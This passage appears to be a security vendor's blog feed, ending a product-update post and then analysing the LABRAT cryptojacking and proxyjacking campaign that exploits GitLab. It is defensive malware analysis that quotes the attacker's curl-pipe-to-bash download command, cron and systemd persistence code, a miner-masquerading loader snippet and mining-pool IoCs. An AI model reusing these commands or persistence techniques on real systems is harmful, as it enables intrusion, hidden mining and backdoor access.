• Reduced false positives for the following rules:
  • Execution from /tmp
  • Launch Privileged Container
  • Packet socket created in container
• Updated the IoCs Ruleset with new findings
• Reduced false positives for the following rules:
  • Packet socket created in container
  • Change thread namespace
  • AWS SSM Agent File Write

Default policy changes

Downgraded AWS rules.

Open Source

Falco

Falco 0.35.1 is now available.

https://github.com/falcosecurity/falco/releases/tag/0.35.1

New Website Resources

Blogs

LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab

Prioritize Vulnerabilities Faster with Checkmarx and Sysdig

Boost Detection and Response with Cybereason and Sysdig

Google’s Vertex AI Platform Gets Freejacked

2023 Global Cloud Threat Report: Cloud Attacks are Lightning Fast

CVSS Version 4.0: What’s New

Webinars

Aug. 7th – Rise Together: Empowering Women at Work

Aug. 17th – Beyond the Neon Lights: Top Takeaways from Black Hat USA

Aug. 25th – Threat Hunting in the Cloud Solutions Forum 2023

Sysdig Education

Sysdig Sage: https://www.youtube.com/watch?v=LoPaplPV4KA

Kraken Discovery Lab: VULNERABILITY MANAGEMENT HANDS-ON WORKSHOP on Aug. 30th!

Intro to Secure (video) – https://www.youtube.com/watch?v=jJv4_HTxwVI

Intro to Monitor (video) – https://www.youtube.com/watch?v=SyD_4sNadAQ

Vulnerability Management Landing Page (video) – https://www.youtube.com/watch?v=1_uPQnVKZAI

Sysdig Live – https://www.youtube.com/watch?v=bo1D-jQssw8

Process Trees – https://www.youtube.com/watch?v=wqf_ZY_cqwQ

The post What’s New in Sysdig – August 2023 appeared first on Sysdig.

The attacker utilized undetected signature-based tools, sophisticated and stealthy cross-platform malware, command and control (C2) tools which bypassed firewalls, and kernel-based rootkits to hide their presence. To generate income, the attacker deployed both cryptomining and Russian-affiliated proxyjacking scripts. Furthermore, the attacker abused a legitimate service, TryCloudFlare, to obfuscate their C2 network.

Detecting attacks that employ several layers of defense evasion, such as this one, can be challenging and requires a deep level of runtime visibility. This attacker is still active, and continuously updating their tools, which requires the defender to both concentrate on detecting the primary tactics, techniques, and procedures (TTP) and keep their indicators of compromise (IoCs) list updated.

One obvious goal for this attacker was to generate income using proxyjacking and cryptomining. Proxyjacking allows the attacker to “rent” the compromised system out to a proxy network, basically selling the compromised IP Address. There is a definite cost in bandwidth, but also a potential cost in reputation if the compromised system is used in an attack or other illicit activities. Cryptomining can also incur significant financial damages if not stopped quickly. Income may not be the only goal of the LABRAT operation, as the malware also provided backdoor access to the compromised systems. This kind of access could lend itself to other attacks, such as data theft, leaks, or ransomware.

Technical Analysis

GitLab exploitation

The attacker gained initial access to a container by exploiting the known GitLab vulnerability, CVE-2021-22205. In this vulnerability, GitLab does not properly validate image files that were passed to a file parser which resulted in a remote command execution. There are many public exploits for this vulnerability and it is still being actively exploited.

Once the attacker had access to the server, they executed the following command in order to download a malicious script from the C2 server.

curl -kL -u lucifer:369369 https://passage-television-gardening-venue[.]trycloudflare.com/v3 | bash

The initial script allowed the attacker to achieve persistence, evade defenses, and perform lateral movement through the following actions:

• Check whether or not the watchdog process was already running to kill it.
• Delete malicious files if they exist from a previous run.
• Disable Tencent Cloud and Alibaba’s defensive measures, a recurring feature of many attackers.
• Download malicious binaries.
• Create a new service with one of these binaries and if root, ran it on the fly.
• Modify various cron files to maintain persistence.
• Gather SSH keys to connect to those machines and start the process again, doing lateral movement.
• Deletes any evidence that the above processes may have generated.

TryCloudFlare … to hide malicious hosting

The attacker attempted to obfuscate their C2 location by creating subdomains on trycloudflare[.]com. This domain is legitimate, as it is owned and operated by Cloudflare, but it is also used to create subdomains that have been used for phishing.

TryCloudFlare is an easy service to use, which benefits defenders, but also provides an opportunity to attackers. To create a new domain, it is as simple as only downloading and installing cloudflared, then running the following command, and you’re done:

/cloudflared tunnel -url "$HOST":"$PORT"

During the LABRAT operation, TryCloudFlare was used to redirect connections to a password-protected web server that hosted a malicious shell script. Using the legitimate TryCloudFlare infrastructure can make it difficult for defenders to identify subdomains as malicious, especially if it is used in normal operations too.

We also discovered different versions of the installation script, which were not previously reported. The attackers generated a new TryCloudFlare subdomain for each script so we can assume that they used a new domain per campaign, in order to keep altering their indicators of compromise. 

These initial scripts act as a file dropper and try to gain persistence on the victim network, and also pivot to additional systems if SSH credentials are discovered on the compromised system.

Another important element of the operation we discovered was that the attacker linked directly to a private GitLab repository to download binaries related to malicious activity. This repository has been active since September 2022 and some of the latest commits are very recent, only a few weeks old as of the writing of this blog. Creating your own GitLab server is very simple. Following the instructions, you can run it on your own Kubernetes infrastructure using containers. These are typically unlisted, allowing attackers to store their tools in a more manageable way.

We cannot assume, given the behavior of this actor, that this repository is owned by the attacker. They may have used an open server to upload the code here. As with a simple Shodan query, we can find thousands of such GitLab servers.

Some of the updated binaries in the repository are very recent and are not detected by VirusTotal. The attackers are constantly updating this toolset, making detection harder, while also adding new tools to make money.

Further evidence from the same actor

We detected another attack from the same actor but from a different source. The attackers did not use TryCloudFlare, but a Solr server instead. The IP is listed as harmless in VirusTotal and it points to a webpage that appears to be legitimate. It is possible that this IP was compromised and was being used by the attackers. We found Chinese forums posts [1,2] reporting to suffer cryptojacking incidents that fit the LABRAT operation. These attacks used the same private GitLab repository seen in the previous attack.

In this case, the attackers downloaded a pwnkit (CVE-2021-4034) binary from the private repository to elevate privileges in addition to another file that now responds as 404.

GSocket for a backdoor

Attackers always want to maintain remote access to their victims. Typically, this is by installing malware, which provides a backdoor. In the case of LABRAT, they have used an open source tool called Global Socket (GSocket). Much like Netcat, GSocket has legitimate uses, but of course it can also be used by attackers. Unlike Netcat, GSocket provides features such as a custom relay or proxy network, encryption, and the ability to use TOR, making it a very capable tool for stealthy C2 communications. To remove evidence of its installation, the LABRAT attacker tried to hide the process.

How GSocket works

From the GSocket homepage, “Global Socket allows two workstations on different private networks to communicate with each other.”

It does so by analyzing the program and replacing the IP-Layer with its own GSocket-Layer. A client connection to a hostname ending in *.gsocket then gets automatically redirected via the Global Socket Relay Network (GSRN), to this program. Once connected, the library then negotiates a secure end-to-end TLS connection. The GSRN sees only the encrypted traffic.

In the following images, we ran the malicious script without root privileges on a victim environment and the server ran waiting for a client with the randomly generated password. The attacker can now connect to the system, bypassing any inbound firewall rules. By default, this would not persist and in the event of a reboot, the attacker would lose access. To gain persistence, the attacker needs elevated privileges.

Based on the need for root privileges to achieve persistence, the attacker executed a local privilege escalation (LPE) exploit called m, which was stored in the private GitLab repository. The m binary attempted to use the pwnkit vulnerability (CVE-2021-4034) to gain root access.

The attacker now has the necessary tools to achieve elevated privileges and is able to maintain persistence. If GSocket is run as a server, it will automatically add itself to files which give it persistence, such as .bashrc and .profile.

GSocket installation

To install the GSocket server on the victim, the attacker obfuscated the whole process. Everything was executed from a single script and is explained in the following steps:

• Download the two tar files from the private repository. 
• Extract both files and concatenate them to generate a new script.
• This file self-extracts to have another script and several binaries.
• Run this last script, which deploys the server using the correct binary based on the architecture. This script is very similar to the original GSocket script, but with some command outputs removed and renamed as a backdoor.

During each step, the script eliminated all the evidence it generated. We edited the script to keep the files and saw all the binaries and the deploy.sh script. This script was the modified version of the official script where GSocket is renamed as a backdoor and sent some of the outputs hidden to run GSocket as a server.

Proxyjacking with ProxyLite and IPRoyal

During the investigation of the private repository, we found a binary called rcu_tr. Basic analysis shows that it is associated with IPRoyal, which is a known proxyware service. When you run the binary, you share your internet bandwidth with others who pay to use your IP address. The Sysdig TRT reported in “Proxyjacking has entered the chat” the use of this software on victims to generate income for malicious actors.

The repository also contained a tar file that housed three DLL files:

• ProxyService.Core.dll
• ProxyService.Core.deps.json
• ProxyService.Core.runtimeconfig.json

Initial analysis showed these files were related to a Russian proxyware service called ProxyLite[.]ru. This service is owned and operated by a Russian national. What makes this especially interesting is that the DLL uses .NET Core, is heavily obfuscated, and works on multiple platforms. At the time of this writing, the DLL was completely undetected by VirusTotal. It is definitely not common for legitimate software to use this level of obfuscation

During the analysis of ProxyService.Core.dll, we found heavily obfuscated functions like the one in the picture below. Each one of the lines in the image is a code path, and there are a lot of them. They are also very flat, instead of hierarchical, as we would normally expect to see.

The technique used to obfuscate the DLL is called Control Flow Flattening (CFF), which is used to hide the control flow of a function by replacing all the conditional blocks with a flat one, called a switch case. The flow charts below show a normal code path on the left and a flattened code path on the right.

This technique is meant to discourage reverse engineering due to the time-consuming nature of the task. We manually followed the obfuscated control flow and noticed that a check was performed to verify that the running platform is supported by the tool. Below is a simplified version of the check.

public class ClientComposerManager {
    private static const bool m_Initialized = false;
    private static const bool OSWin = false;
    private static const bool OSNix = false;
    private static const bool OSOSX = false;
    public static object Null()
    {
        return null;
    }


    [MethodImpl(MethodImplOptions.NoInlining)]
    internal unsafe static void CallAdapter()
    {
        int num = 684;
        for (;;)
        {
            int num2 = num;
            for (;;)
            {
                case 684:
                    if(ClientComposerManager.m_Initialized)
                    {
                        num = 683;
                        continue;
                    }
                    ClientComposerManager.m_Identifier = true;
                    num2 = 12;
                    if (ClientComposerManager.Null() == null) // Always True next branch is 192
                    {
                        num2 = 192;
                        continue;
                    }
                    continue;
                case 192:
                    try
                    {
                        RSACryptoServiceProvider.UseMachineKeyStore = true;
                    }
                    catch
                    {
                    }
                    num2 = 480;
                    continue;
                case 480:
                    ClientComposerManager.OSWin = RuntimeInformation.IsOSPlatform(OSPlatform.Windows); 
                    num2 = 645;
                    continue;
                case 645:
                    ClientComposerManager.OSNix = RuntimeInformation.IsOSPlatform(OSPlatform.Linux); 
                    num2 = 60;
                    continue;
                case 60:
                    ClientComposerManager.OSOSX = RuntimeInformation.IsOSPlatform(OSPlatform.OSX); 
                    num2 = 543;
                    if (ClientComposerManager.Null() != null) // Always false branch
                    {
                        num2 = 511;
                        continue;
                    }
                    continue;
                default:
            }
        }
    }
 }

There is specific mention of Windows, OSX, and Linux in the code shown above. This gave us some useful insight about the wide range of supported platforms. Another insight came from the presence of different DLL names commonly used by .NET on all the mentioned platforms.

This malicious DLL will work on Linux, Windows, and MacOS since it was built with .NET Core. This portability, combined with the obfuscation, makes it a very effective tool for the attacker. However, its use is also limited because it requires the victim system to have the .NET core libraries.

Apart from that, this binary ensures its own safety by using two common methods:

• Anti debug checks
• Anti tampering checks

The first one is implemented using the Debugger.IsAttached method of C#. This check is a common way for a program to detect if it is being launched with a debugger attached, such as WindDB or gdb. The second one is hardcoded inside a flattened function in the form of a SHA1 hash check against its own assemblies. This is particularly useful when it comes to detect if its own assemblies were modified.

Encrypted cryptographic material was also present as embedded resources inside the binary itself. As you can see below, Client.Item contained a serialized RSA key in the form of an XML file.

This is the decrypted RSA key:

<RSAKeyValue><Modulus>zlUkMywGKDNbeJxH/zDotBK2KGsq3+fCyOXuaEHc38tL8CEymadHC4IvnPJ4ZHsuEIho1JVEVlJXYmPAkmiAboHJvV8Wnei2yfvn6tWX/Cnz7brgK+XlQVtVXlGUfU/ygy3kahGh10KW3yBgqs8Nuz7UlYBB7QLjBzyjFFy4chM=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

The decryption of such resources is done via AES CBC 256. Both the Key and the IV are randomized, and such decryption routines are also usually obfuscated with the previously discussed technique, CFF.

As we can see from the screenshot, an array of 32 bytes (AES-256 key) was declared and then manually populated. This array contained the AES symmetric key used to decode one of the resources. To make it difficult to follow the code, the obfuscator added some junk code, which invalidated the previous operation.

num5 = 221 - 73;
array2[2] = (byte)num5; // invalidated
array2[2] = 68 + 121; // invalidated
array2[3] = 236 - 78; // invalidated
array2[3] = 151 - 50; // actual value

The same operation is later performed again to craft an Initialization Vector used to perform the final decryption. 

There were no strings present in the binary itself because the decryption of such strings is performed dynamically at runtime.

The function above is responsible for decrypting strings at runtime. Static analysis of such functions is not possible since the array containing all the strings is never populated with the code from the DLL itself, but still it is possible to retrieve all the strings by manually hooking the JIT compiled method as shown in the screenshot below.

There is always cryptojacking…

We observed cryptojacking using multiple customized xmrig binaries. This differs from the typical cryptojacking attacks we see because all of the configuration information was hardcoded into the binary instead of included in extra files or passed on the command line.  At the time of discovery, these mining binaries had not been submitted to VirusTotal.

Looking inside the included xmrig binaries, we found the mining pools the attacker connected to, which were:

• 192[.]227.165.88:6666
• 192[.]227.165.88:4443
• 172[.]245.226.47:5858

These pools were not detected as malicious or associated with known mining pools by VirusTotal. In addition, they were related to other binaries with the name rcu_bj, which are xmrig binaries. We discovered an earlier campaign where these binaries were used and shared on some forums but were not attributed to any actor.

Looking at the repository history, we found other stored miners that were likely used in other campaigns. We repeated the process and we discovered another pool that was reported as  malicious by VirusTotal.

• 23[.]94.204.157:44445
• 23[.]94.204.157:7773

This IP address was related to malware from one year ago that had similar behavior but again, no attribution. 

In a recent change, these miners were renamed to sshd in order to look like a legitimate process on the system.

Go for persistence

During the investigation, we discovered that the attacker used multiple binaries on their compromised systems. One was the previously mentioned cryptominer, another binary looked harmless at first glance, and at the time of this writing it was undetected by VirusTotal. It was initially called initd but was renamed to sysinit. 

Inside the initial file dropper script, the attacker created a new systemd service called s.service to execute this binary on startup. They also added entries to various cron files in case the systemd execution wasn’t enough to keep their malware running on the victim system.

Systemd service:

    cat >/tmp/s.service <<EOL
    [Unit]
    Description=Servicus-d

    [Service]
    ExecStartPre=/bin/sleep 10
    ExecStart=$HOME_1/sysinit

    Restart=always
    Nice=10
    CPUWeight=1

    [Install]
    WantedBy=multi-user.target
    EOL

Adding binary to cron files:

    ​​makecron(){
        list=["/etc/cron.d/root" "/etc/cron.d/apache" "/etc/cron.d/nginx" "/var/spool/cron/root" "/etc/cron.hourly/oanacroner"]
        echo -e "*/3 * * * * $HOME_1/sysinit" | crontab -
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/apache
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.d/nginx
        echo -e "*/3 * * * * $HOME_1/sysinit" > /var/spool/cron/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /var/spool/cron/crontabs/root
        echo -e "*/3 * * * * $HOME_1/sysinit" > /etc/cron.hourly/oanacroner

        for arch in ${list[@]}; do
            chmod +x arch
            chattr +ia arch
        done
    }

This binary was written in GoLang and was likely used for a few reasons. If it was launched alone, it checked for a number of processes on the system and killed them. The processes it attempted to kill were associated with other miners or old versions of itself. The attacker wanted to make sure theirs wase the only malware running on the system so they could maximize their earning power. A sample output of the program trying to kill other miners is shown below.

2023/07/03 09:23:07 Process gitlabw is not running.
2023/07/03 09:23:07 Process kthreaddi is not running.
2023/07/03 09:23:07 Process stratum is not running.

Reverse engineering revealed that this binary was also the main loader. When ran, it was responsible for starting up the miner which masqueraded as sshd. The program started the miner with the following code.

…
SshDevNull        = "/sshd >/dev/null 2>&1 &"
ExecAWatchdodg    = "exec -a '[watchdodg]' "
…
cmd := exec.Command("bash", "-c", "nohup "+ExecAWatchdodg+SshDevNull)
…

Private GitLab updates

During the writing of this article, the private repository has continued to operate, following the same procedure we have shown so far. Twice, 2 files were uploaded. The go binary was updated to add the new binary containing the miner with the pool and configuration already added.

We found the new mining pools:

• 107[.]173.154.7:6969
• desertplanets[.]com:6666
• 172[.]245.226.47:5858

Hide and seek with kernel rootkits

In researching previous attacks conducted by this actor, there was evidence that they used a kernel-based rootkit to hide the mining process, specifically hiding-cryptominers-linux-rootkit. These types of rootkits can make it almost impossible for a defender to detect malicious activity, as attackers gain full control over everything that happens on the system. Often, their presence is only detected through offline forensics. 

Runtime detection is possible, but only if the system has a runtime monitoring tool such as Falco, enabled when the rootkit is installed.  There is also an opportunity to detect the communications between the kernel portion of the rootkit and the userland. In this case, it uses the kill system call and custom signal values to control the rootkit’s behavior. Detection tools can observe those values and trigger alerts.

This malicious Linux LKM (Loadable Kernel Module) will hook multiple system calls and kernel functions in order to hide the xmrig miner process from any process listing tools, such as “ps.” It will also hide the CPU usage related to the miner, so administrators won’t be able to see that the CPU is being heavily utilized. The complete explanation of the tool is detailed in the article Hiding miners on Linux for profit.

Conclusion

This operation was much more sophisticated than many of the attacks the Sysdig TRT typically observes. Many attackers do not bother with stealth at all, but this attacker took special care when crafting their operation. The stealthy and evasive techniques and tools used in this operation make defense and detection more challenging. Since the goal of the LABRAT operation is financial, time is money. The longer a compromise goes undetected, the more money the attacker makes and the more it will cost the victim. A robust threat detection and response program is necessary to quickly detect and respond to the attack.

Crypomining and proxyjacking should never be considered nuisance malware and be written off by having the system rebuilt without a thorough investigation. As seen in this operation, malware does have the ability to automatically spread to other systems with SSH keys. We have also seen in the past, with SCARLETEEL, that attackers will install cryptominers, but also steal intellectual property if they have the opportunity. 

IoCs

The post LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab  appeared first on Sysdig.